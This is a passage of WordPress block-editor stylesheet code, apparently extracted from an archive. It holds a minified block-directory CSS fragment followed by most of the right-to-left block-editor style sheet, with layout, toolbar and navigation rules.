(prefers-reduced-motion:reduce){.block-directory-downloadable-block-list-item{transition-duration:0s}}.block-directory-downloadable-block-list-item+.block-directory-downloadable-block-list-item{border-top:none}.block-directory-downloadable-block-list-item:last-child:not(:only-of-type){border-top:0}.block-directory-downloadable-block-list-item:last-child{border-bottom:0}.block-directory-downloadable-block-list-item__panel{display:flex;flex-grow:1;flex-direction:column}.block-directory-downloadable-block-list-item__header{display:flex;flex-direction:column;padding:16px 16px 0}.block-directory-downloadable-block-list-item__body{display:flex;flex-direction:column;padding:16px}.block-directory-downloadable-block-list-item__footer{display:flex;flex-direction:column;padding:16px;background-color:#f0f0f0}.block-directory-downloadable-block-list-item__content{color:#757575}.block-directory-downloadable-block-notice{margin:0 0 16px}.block-directory-downloadable-block-notice__content{padding-right:12px;margin-bottom:8px}.block-directory-downloadable-blocks-list{list-style:none;margin:0;overflow:hidden;display:flex;flex-wrap:wrap}.block-directory-downloadable-blocks-panel__description{font-style:italic;padding:16px;margin:0;text-align:left;color:#757575}.block-directory-downloadable-blocks-panel__description.has-no-results{font-style:normal;padding:0;margin:112px 0;text-align:center;color:#757575}.block-directory-downloadable-blocks-panel__description.has-no-results .components-spinner{float:inherit}.installed-blocks-pre-publish-panel__copy{margin-top:0}css/dist/block-editor/style-rtl.css000064400000322231151202620300013320 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } #start-resizable-editor-section { display: none; } .block-editor-autocompleters__block { white-space: nowrap; } .block-editor-autocompleters__block .block-editor-block-icon { margin-left: 8px; } .block-editor-block-alignment-matrix-toolbar__popover .components-popover__content { min-width: 0; width: auto; } .block-editor-block-alignment-matrix-toolbar__popover .components-popover__content > div { padding: 8px; } .block-editor-block-icon { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; } .block-editor-block-icon.has-colors svg { fill: currentColor; } .block-editor-block-icon svg { min-width: 20px; min-height: 20px; max-width: 24px; max-height: 24px; } .block-editor-block-inspector .components-base-control { margin-bottom: 24px; } .block-editor-block-inspector .components-base-control:last-child { margin-bottom: 8px; } .block-editor-block-inspector .components-panel__body { border: none; border-top: 1px solid #e0e0e0; } .block-editor-block-inspector .block-editor-block-card { padding: 16px; } .block-editor-block-inspector__no-blocks { display: block; font-size: 13px; background: #fff; padding: 32px 16px; text-align: center; } .block-editor-block-styles .block-editor-block-list__block { margin: 0; } /** * Notices & Block Selected/Hover Styles. */ .block-editor-block-list__layout .block-editor-block-list__block, .block-editor-block-list__layout .block-list-appender { position: relative; } .block-editor-block-list__layout .block-editor-block-list__block.is-drop-target::before, .block-editor-block-list__layout .block-list-appender.is-drop-target::before { content: ""; position: absolute; z-index: 0; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; top: -14px; left: 0; right: 0; border-top: 4px solid #007cba; border-top: 4px solid var(--wp-admin-theme-color); } .block-editor-block-list__layout .block-editor-block-list__block.is-drop-target.is-dropping-horizontally::before, .block-editor-block-list__layout .block-list-appender.is-drop-target.is-dropping-horizontally::before { top: 0; bottom: 0; right: -6px; border-top: none; border-right: 4px solid #007cba; border-right: 4px solid var(--wp-admin-theme-color); } /** * Cross-Block Selection */ .block-editor-block-list__layout { position: relative; } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected::after, .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered::after, .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted::after, .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected::after { position: absolute; z-index: 1; pointer-events: none; content: ""; top: 1px; bottom: 1px; right: 1px; left: 1px; box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 1px; outline: 2px solid transparent; } .is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected::after, .is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered::after, .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted::after, .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected::after { box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) #fff; } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected .components-placeholder ::selection, .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered .components-placeholder ::selection, .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted .components-placeholder ::selection, .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected .components-placeholder ::selection { background: transparent; } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:not(.is-selected)::after { box-shadow: 0 0 0 1px #949494; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.has-child-selected { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; outline: var(--wp-admin-border-width-focus) solid transparent; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected::before { content: ""; position: absolute; z-index: 0; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; left: 0; right: 0; top: -14px; border-radius: 2px; border-top: 4px solid #ccc; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected::after { content: none; } .block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected::before { border-color: #007cba; border-color: var(--wp-admin-theme-color); } .is-block-moving-mode.block-editor-block-list__block-selection-button { opacity: 0; font-size: 1px; height: 1px; padding: 0; } .block-editor-block-list__layout .block-editor-block-list__block { position: relative; overflow-wrap: break-word; /** * Notices */ /** * Block Layout */ /** * Block styles and alignments */ } .block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel * { z-index: 1; } .block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui { margin: -10px 0 12px 0; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui { margin: 0 0 12px 0; width: 100%; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice { margin-right: 0; margin-left: 0; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content { font-size: 13px; } .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus { outline: none; } .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus::after { position: absolute; z-index: 1; pointer-events: none; content: ""; top: 1px; bottom: 1px; right: 1px; left: 1px; box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 1px; } .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus::after { box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) #fff; } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing)::after { box-shadow: 0 0 0 1px #1e1e1e; top: 1px; right: 1px; left: 1px; bottom: 1px; border-radius: 1px; } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-selected:not(.is-typing):focus::after { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing) { cursor: default; } .block-editor-block-list__layout .block-editor-block-list__block.is-outline-mode.is-hovered:not(.is-typing)::after { top: 1px; right: 1px; left: 1px; bottom: 1px; box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); border-radius: 1px; } .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected) { opacity: 0.5; transition: opacity 0.1s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected) { transition-duration: 0s; } } .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected):not(.is-focused) .block-editor-block-list__block, .block-editor-block-list__layout .block-editor-block-list__block.is-focus-mode:not(.is-multi-selected).is-focused { opacity: 1; } .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) { opacity: 0.5; transition: opacity 0.1s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) { transition-duration: 0s; } } .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).has-child-selected, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode):not(.has-child-selected) .block-editor-block-list__block, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode).is-active-entity .block-editor-block-list__block, .block-editor-block-list__layout .block-editor-block-list__block.has-active-entity:not(.is-focus-mode) .is-active-entity .block-editor-block-list__block { opacity: 1; } .block-editor-block-list__layout .block-editor-block-list__block::after { content: ""; pointer-events: none; position: absolute; top: 0; left: 0; bottom: 0; right: 0; border-radius: 2px; box-shadow: 0 0 0 2px transparent; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) transparent; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning { min-height: 48px; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning > * { pointer-events: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning { pointer-events: all; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning::after { content: ""; position: absolute; top: 0; left: 0; bottom: 0; right: 0; border-radius: 2px; background-color: rgba(255, 255, 255, 0.4); } .block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected::after { background-color: transparent; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable > .block-editor-inner-blocks > .block-editor-block-list__layout.has-overlay::after { display: none; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable > .block-editor-inner-blocks > .block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay::after { display: block; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected::after { box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block { cursor: default; } .block-editor-block-list__layout .block-editor-block-list__block[data-clear=true] { float: none; } .block-editor-block-list__layout .block-editor-block-list__block .block-editor-block-list__layout .block-editor-default-block-appender .block-editor-inserter { right: auto; left: 8px; } .block-editor-block-list__layout .wp-block { margin-right: auto; margin-left: auto; } .wp-block[data-align=left], .wp-block[data-align=right] { width: 100%; height: 0; } .wp-block[data-align=left]::before, .wp-block[data-align=right]::before { content: none; } .wp-block[data-align=left] > *, .wp-block[data-align=right] > * { z-index: 21; } .wp-block[data-align=left] > * { float: left; margin-right: 2em; } .wp-block[data-align=right] > * { float: right; margin-left: 2em; } .wp-block[data-align=full], .wp-block[data-align=wide] { clear: both; } /** * In-Canvas Inserter */ .block-editor-block-list .block-editor-inserter { margin: 8px; cursor: move; cursor: grab; } .block-editor-block-list__insertion-point { position: absolute; } .block-editor-block-list__insertion-point-indicator { position: absolute; background: #007cba; background: var(--wp-admin-theme-color); animation: block-editor-inserter__toggle__fade-in-animation-delayed 0.3s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__insertion-point-indicator { animation-duration: 1ms; } } .block-editor-block-list__insertion-point.is-vertical > .block-editor-block-list__insertion-point-indicator { top: 50%; left: 0; right: 0; height: 1px; } .block-editor-block-list__insertion-point.is-horizontal > .block-editor-block-list__insertion-point-indicator { top: 0; left: 0; right: 50%; height: 100%; width: 1px; } .block-editor-block-list__insertion-point-inserter { display: none; position: absolute; justify-content: center; top: calc(50% - 12px); right: calc(50% - 12px); } @media (min-width: 480px) { .block-editor-block-list__insertion-point-inserter { display: flex; } } .block-editor-block-list__block-popover-inserter { position: absolute; top: -9999em; margin-bottom: 14px; } .block-editor-block-list__block-popover-inserter.is-visible { position: static; } .block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon, .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon, .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon { background: #1e1e1e; border-radius: 2px; color: #fff; padding: 0; min-width: 24px; height: 24px; } .block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover, .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover, .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button.has-icon:hover { color: #fff; background: #007cba; background: var(--wp-admin-theme-color); } .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon { background: #007cba; background: var(--wp-admin-theme-color); } .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover { background: #1e1e1e; } .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button { animation: block-editor-inserter__toggle__fade-in-animation-delayed 0.3s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button, .block-editor-block-list__block-popover-inserter .block-editor-inserter__toggle.components-button { animation-duration: 1ms; } } @keyframes block-editor-inserter__toggle__fade-in-animation-delayed { 0% { opacity: 0; } 60% { opacity: 0; } 100% { opacity: 1; } } @keyframes block-editor-inserter__toggle__fade-in-animation { from { opacity: 0; } to { opacity: 1; } } .wp-block .block-list-appender .block-editor-inserter__toggle { animation: block-editor-inserter__toggle__fade-in-animation 0.1s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .wp-block .block-list-appender .block-editor-inserter__toggle { animation-duration: 1ms; } } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender { display: none; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle { opacity: 0; transform: scale(0); } .block-editor-block-list__block .block-editor-block-list__block-html-textarea { display: block; margin: 0; padding: 12px; width: 100%; border: none; outline: none; border-radius: 2px; box-shadow: inset 0 0 0 1px #1e1e1e; resize: none; overflow: hidden; font-family: Menlo, Consolas, monaco, monospace; font-size: 15px; line-height: 1.5; transition: padding 0.2s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__block .block-editor-block-list__block-html-textarea { transition-duration: 0s; } } .block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } /** * Block Toolbar when contextual. */ .block-editor-block-contextual-toolbar { border: 1px solid #1e1e1e; border-radius: 2px; background-color: #fff; } .block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group, .block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar { border-left-color: #1e1e1e; } .block-editor-block-contextual-toolbar .block-editor-block-mover-button { overflow: hidden; } .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button { min-width: 24px; width: 24px; } .block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button:focus::before { right: 0 !important; min-width: 0; width: 100%; } .block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-up-button svg { top: 5px; } .block-editor-block-contextual-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button.is-down-button svg { bottom: 5px; } /** * Block Label for Navigation/Selection Mode */ .block-editor-block-list__block-selection-button { display: block; z-index: 22; } .block-editor-block-list__block-selection-button .components-button { font-size: 13px; height: 46px; padding: 12px 16px; position: relative; top: -1px; box-shadow: 0 0 0 1px #1e1e1e; border-radius: 1px; background-color: #fff; } .block-editor-block-list__block-selection-button .components-button:focus { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } /** * Warnings. */ .block-editor-block-list__block .block-editor-warning { z-index: 5; position: relative; } .block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning { margin-bottom: auto; } /** * Popovers. */ .block-editor-block-list__insertion-point-popover.is-without-arrow { z-index: 28; position: absolute; } .block-editor-block-list__insertion-point-popover.is-without-arrow .components-popover__content.components-popover__content { background: none; border: none; box-shadow: none; overflow-y: visible; margin-right: 0; } @keyframes hide-during-dragging { to { position: fixed; transform: translate(-9999px, 9999px); } } .components-popover.block-editor-block-list__block-popover { z-index: 31; position: absolute; } .components-popover.block-editor-block-list__block-popover .components-popover__content { margin: 0 !important; min-width: auto; width: -webkit-max-content; width: max-content; background: none; border: none; box-shadow: none; overflow-y: visible; pointer-events: none; } .components-popover.block-editor-block-list__block-popover .components-popover__content > * { pointer-events: all; } .components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-list__block-selection-button, .components-popover.block-editor-block-list__block-popover .components-popover__content .block-editor-block-contextual-toolbar { margin-bottom: 12px; } .is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover { opacity: 0; animation: hide-during-dragging 1ms linear forwards; } .is-dragging-components-draggable .components-tooltip { display: none; } .block-editor-block-list__block .block-list-appender { margin: 0; } .block-editor-block-list__block .block-list-appender .block-editor-default-block-appender { margin: 8px 0; } .block-editor-block-list__block .block-list-appender .block-list-appender__toggle { padding: 0; opacity: 1; transform: scale(1); transition: all 0.1s ease; } @media (prefers-reduced-motion: reduce) { .block-editor-block-list__block .block-list-appender .block-list-appender__toggle { transition-duration: 0s; } } .block-list-appender > .block-editor-inserter { display: block; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout > .block-list-appender .block-list-appender__toggle { opacity: 0; transform: scale(0); } .block-editor-block-breadcrumb { list-style: none; padding: 0; margin: 0; } .block-editor-block-breadcrumb li { display: inline-block; margin: 0; } .block-editor-block-breadcrumb li:not(:last-child)::after { content: "←"; } .block-editor-block-breadcrumb__button.components-button { height: 24px; line-height: 24px; padding: 0; position: relative; } .block-editor-block-breadcrumb__button.components-button:hover:not(:disabled) { text-decoration: underline; box-shadow: none; } .block-editor-block-breadcrumb__button.components-button:focus { box-shadow: none; } .block-editor-block-breadcrumb__button.components-button:focus::before { content: ""; display: block; position: absolute; border-radius: 2px; top: 1px; left: 1px; bottom: 1px; right: 1px; box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-block-breadcrumb__current { cursor: default; } .block-editor-block-breadcrumb__button.components-button, .block-editor-block-breadcrumb__current { color: #1e1e1e; padding: 0 8px; font-size: inherit; } .block-editor-block-card { display: flex; align-items: flex-start; } .block-editor-block-card__icon { border: 1px solid #ddd; padding: 7px; margin-left: 10px; height: 36px; width: 36px; } .block-editor-block-card__content { flex-grow: 1; } .block-editor-block-card__title { font-weight: 500; } .block-editor-block-card__title.block-editor-block-card__title { margin: 0 0 5px; } .block-editor-block-card__description { font-size: 13px; } .block-editor-block-card .block-editor-block-icon { margin-right: -2px; margin-left: 10px; padding: 0 3px; width: 36px; height: 24px; } /** * Invalid block comparison */ .block-editor-block-compare { overflow: auto; height: auto; } @media (min-width: 600px) { .block-editor-block-compare { max-height: 70%; } } .block-editor-block-compare__wrapper { display: flex; padding-bottom: 16px; } .block-editor-block-compare__wrapper > div { display: flex; justify-content: space-between; flex-direction: column; width: 50%; padding: 0 0 0 16px; min-width: 200px; } .block-editor-block-compare__wrapper > div button { float: left; } .block-editor-block-compare__wrapper .block-editor-block-compare__converted { border-right: 1px solid #ddd; padding-right: 15px; padding-left: 0; } .block-editor-block-compare__wrapper .block-editor-block-compare__html { font-family: Menlo, Consolas, monaco, monospace; font-size: 12px; color: #1e1e1e; border-bottom: 1px solid #ddd; padding-bottom: 15px; line-height: 1.7; } .block-editor-block-compare__wrapper .block-editor-block-compare__html span { background-color: #e6ffed; padding-top: 3px; padding-bottom: 3px; } .block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added { background-color: #acf2bd; } .block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed { background-color: #cc1818; } .block-editor-block-compare__wrapper .block-editor-block-compare__preview { padding: 0; padding-top: 16px; } .block-editor-block-compare__wrapper .block-editor-block-compare__preview p { font-size: 12px; margin-top: 0; } .block-editor-block-compare__wrapper .block-editor-block-compare__action { margin-top: 16px; } .block-editor-block-compare__wrapper .block-editor-block-compare__heading { font-size: 1em; font-weight: 400; margin: 0.67em 0; } .block-editor-block-draggable-chip-wrapper { position: absolute; top: -24px; right: 0; } .block-editor-block-draggable-chip { background-color: #1e1e1e; border-radius: 2px; border: 1px solid #1e1e1e; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.3); color: #fff; cursor: grabbing; display: inline-flex; height: 48px; min-width: 72px; padding: 0 12px; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .block-editor-block-draggable-chip svg { fill: currentColor; } .block-editor-block-draggable-chip .block-editor-block-draggable-chip__content { margin: auto; } .block-editor-block-draggable-chip .components-flex__item { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .is-dragging { display: none !important; } .block-editor-block-mobile-toolbar { display: flex; flex-direction: row; border-left: 1px solid #ddd; } .block-editor-block-mobile-toolbar .block-editor-block-mover-button { width: 36px; height: 36px; border-radius: 2px; padding: 3px; margin: 0; justify-content: center; align-items: center; } .block-editor-block-mobile-toolbar .block-editor-block-mover-button .dashicon { margin: auto; } .block-editor-block-mobile-toolbar .block-editor-block-mover { display: flex; margin-left: auto; } .block-editor-block-mobile-toolbar .block-editor-block-mover .block-editor-block-mover-button { float: right; } .block-editor-block-mover-button__description { display: none; } .block-editor-block-mover-button.has-icon { padding: 0; } .block-editor-block-mover { display: inline-flex; flex-direction: row; } .block-editor-block-mover .block-editor-block-mover__move-button-container, .block-editor-block-mover .components-toolbar { flex: 1; flex-direction: row; border-left: none !important; } @media (min-width: 600px) { .block-editor-block-mover .block-editor-block-mover__move-button-container, .block-editor-block-mover .components-toolbar { flex-direction: column; } } .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container, .block-editor-block-mover.is-horizontal .components-toolbar { flex-direction: row; } @media (min-width: 600px) { .block-editor-block-mover .block-editor-block-mover-button { height: 24px; width: 42px; padding-left: 11px !important; padding-right: 6px !important; } } @media (min-width: 600px) { .block-editor-block-mover .block-editor-block-mover-button::before { right: 8px !important; left: 8px !important; } } .block-editor-block-mover .block-editor-block-mover__drag-handle { width: 24px; cursor: grab; min-width: 24px !important; padding: 0 !important; } .block-editor-block-mover .block-editor-block-mover__drag-handle:focus::before { right: 0 !important; left: 0 !important; } @media (min-width: 600px) { .block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button, .block-editor-block-mover .components-toolbar .block-editor-block-mover-button { margin: 0 0 0 auto; } .block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-up-button::before, .block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-up-button::before { bottom: 0; height: calc(100% - 1px); } .block-editor-block-mover .components-toolbar-group .block-editor-block-mover-button.is-down-button::before, .block-editor-block-mover .components-toolbar .block-editor-block-mover-button.is-down-button::before { top: 0; height: calc(100% - 1px); } } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon { height: 48px; width: 24px; padding-right: 0; padding-left: 0; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon::before { top: 1px; bottom: 1px; min-width: 0; width: auto; height: auto; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon svg { margin-right: 0; margin-left: -8px; margin-bottom: 0; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon::before { right: 0 !important; left: 0 !important; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon svg { margin-right: -8px; margin-left: 0; margin-top: 0; } .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon::before { right: 0 !important; left: 0 !important; width: calc(100% + 1px); } .block-editor-block-navigation__label { margin: 0 0 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .block-editor-block-navigation__container { min-width: 280px; } .block-editor-block-navigation-tree { width: 100%; border-collapse: collapse; padding: 0; margin: 0; } .block-editor-block-navigation-leaf { position: relative; } .block-editor-block-navigation-leaf.is-selected .block-editor-block-navigation-block-contents, .block-editor-block-navigation-leaf.is-selected:hover .block-editor-block-navigation-block-contents, .block-editor-block-navigation-leaf.is-selected:focus .block-editor-block-navigation-block-contents { background: #1e1e1e; color: #fff; } .block-editor-block-navigation-leaf.is-dragging { display: none; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents { display: flex; align-items: center; width: 100%; height: auto; padding: 6px; text-align: right; color: #1e1e1e; border-radius: 2px; position: relative; white-space: nowrap; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:hover { background: #f0f0f0; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:focus { z-index: 1; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-before::before { content: ""; position: absolute; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; top: -2px; left: 0; right: 0; border-top: 4px solid #007cba; border-top: 4px solid var(--wp-admin-theme-color); } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-after::before { content: ""; position: absolute; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; bottom: -2px; left: 0; right: 0; border-bottom: 4px solid #007cba; border-bottom: 4px solid var(--wp-admin-theme-color); } .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-to-inner-blocks::before { content: ""; position: absolute; pointer-events: none; transition: border-color 0.1s linear, border-style 0.1s linear, box-shadow 0.1s linear; bottom: -2px; left: 0; right: 24px; border-bottom: 4px solid #007cba; border-bottom: 4px solid var(--wp-admin-theme-color); } .components-modal__content .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents { padding-right: 0; padding-left: 0; } .block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents { opacity: 1; animation: edit-post__fade-in-animation 0.2s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents { animation-duration: 1ms; } } .block-editor-block-navigation-leaf .block-editor-block-icon { align-self: flex-start; margin-left: 6px; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__contents-cell { padding-top: 0; padding-bottom: 0; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell { line-height: 0; width: 36px; opacity: 0; vertical-align: top; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell { transition-duration: 0s; } } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible { opacity: 1; animation: edit-post__fade-in-animation 0.2s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible { animation-duration: 1ms; } } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell, .block-editor-block-navigation-leaf 